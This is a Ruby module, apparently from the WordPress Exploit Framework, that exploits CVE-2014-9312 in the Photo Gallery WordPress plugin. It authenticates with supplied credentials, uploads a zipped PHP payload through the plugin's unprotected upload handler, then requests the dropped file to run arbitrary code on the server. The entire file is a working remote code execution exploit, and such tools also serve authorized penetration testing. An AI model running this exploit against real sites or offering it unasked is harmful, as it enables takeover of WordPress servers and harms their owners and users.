# frozen_string_literal: true

class Wpxf::Exploit::PhotoGalleryShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::Plugin

  def initialize
    super

    update_info(
      name: 'Photo Gallery Shell Upload',
      desc: 'Photo Gallery Plugin for WordPress contains a flaw that allows a '\
            'remote attacker to execute arbitrary PHP code. This flaw exists'\
            'because the photo-gallery\photo-gallery.php script allows access'\
            'to filemanager\UploadHandler.php. The post() method in '\
            'UploadHandler.php does not properly verify or sanitize '\
            'user-uploaded files.',
      author: [
        'Kacper Szurek', # Vulnerability disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '7769'],
        ['CVE', '2014-9312'],
        ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
      ],
      date: 'Nov 11 2014'
    )

    register_options([
      StringOption.new(
        name: 'username',
        desc: 'The WordPress username to authenticate with'
      ),
      StringOption.new(
        name: 'password',
        desc: 'The WordPress password to authenticate with'
      )
    ])
  end

  def username
    normalized_option_value('username')
  end

  def password
    normalized_option_value('password')
  end

  def check
    check_plugin_version_from_readme('photo-gallery', '1.2.6')
  end

  def payload_body_builder(name)
    builder = Utility::BodyBuilder.new
    zipped_files =  { "#{name}.php" => payload.encoded }
    builder.add_zip_file('files', zipped_files, "#{name}.zip")
    builder
  end

  def extract_name_from_res(res)
    begin
      json = JSON.parse(res.body)
      if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
        return nil
      else
        return json['files'][0]['name'][0..-5]
      end
    rescue
    end

    nil
  end

  def run
    return false unless super

    cookie = authenticate_with_wordpress(username, password)
    return false unless cookie

    emit_info 'Preparing payload...'
    payload_name = Utility::Text.rand_alpha(10)
    builder = payload_body_builder(payload_name)
    upload_dir = "#{Utility::Text.rand_alpha(10)}/"

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(
        url: wordpress_url_admin_ajax,
        params: { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
        body: body,
        cookie: cookie
      )
    end

    if res.nil? || res.code != 200
      emit_error 'Failed to upload payload'
      emit_error "Server responded with code #{res.code}", true
      return false
    else
      emit_success 'Uploaded the payload', true
    end

    emit_info 'Parsing server response...'
    uploaded_name = extract_name_from_res(res)
    if uploaded_name.nil?
      emit_info "Server responded with: #{res.body}", true
      emit_error 'Unable to parse the server response'
      return false
    end

    php_file_name = "#{uploaded_name}.php"
    payload_url = normalize_uri(wordpress_url_admin, upload_dir, uploaded_name, php_file_name)
    emit_success 'Parsed response', true
    emit_success "Payload uploaded to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)
    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    true
  end
end
